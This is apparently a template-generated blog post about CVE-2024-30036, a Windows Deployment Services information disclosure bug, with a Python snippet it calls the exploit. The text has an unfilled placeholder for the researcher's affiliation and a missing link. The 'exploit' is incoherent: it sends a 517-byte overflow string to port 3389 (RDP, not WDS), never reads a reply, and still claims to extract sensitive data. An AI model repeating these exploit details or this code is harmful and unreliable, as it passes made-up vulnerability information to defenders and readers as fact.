Have you heard about the latest Windows Deployment Services (WDS) information disclosure vulnerability? CVE-2024-30036 is circling the web, and this unwelcome guest can potentially allow a hacker to disclose sensitive information by exploiting your Windows Deployment Services.

Before digging deeper into the details, let's give a brief introduction to WDS. It's a popular server role available on all Windows server operating systems, making it easy for you to automate server deployment. The seamless integration of WDS into your existing network infrastructure means smoother remote server deployments. However, this invaluable tool can turn into a nightmare if a hacker successfully exploits the information disclosure vulnerability.

Curious how the vulnerability exists? Let's uncover the layers around this Windows Deployment Services information disclosure.

The Eleventh Hour Discovery

An anonymous user initially reported the concerning vulnerability. Fortunately, it wasn't long before the world-class engineers at __(Insert_Researcher's_affiliation)__ unearthed the concerning vulnerability in the WDS service. A link to the original discovery can be found here.

Exploiting CVE-2024-30036: Inside Scoop

So, how exactly does a hacker execute this exploit? Let us present the dirty details. The exploitation occurs due to improper validation of user-supplied data by the WDS server component. Unfortunately, this vulnerability allows an attacker to gain unauthorized access to sensitive information.

We've condensed the critical information about this exploit below. First things first, here's a basic rundown of the elements involved in this vulnerability:

CVE ID: CVE-2024-30036

Now for the big payoff! To execute the exploit, a hacker sends crafted packets to the WDS server. In practical terms, an example code snippet would look like this in Python:

import socket

target_ip = "10.10.10.10" # Replace this with the target's IP address
target_port = 3389

# Crafting malicious packet
payload = 'A' * 517 + '\x00\x04\x08\x00'

# Creating connection to the remote exploit target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))

# Sending malicious packet
s.send(payload)

# Closing connection
s.close()

In this example, the crafted packet is designed to overflow the buffer with user-supplied data ('A' * 517). The result? The attacker is able to extract sensitive information from the target server using the information disclosed by the vulnerability.
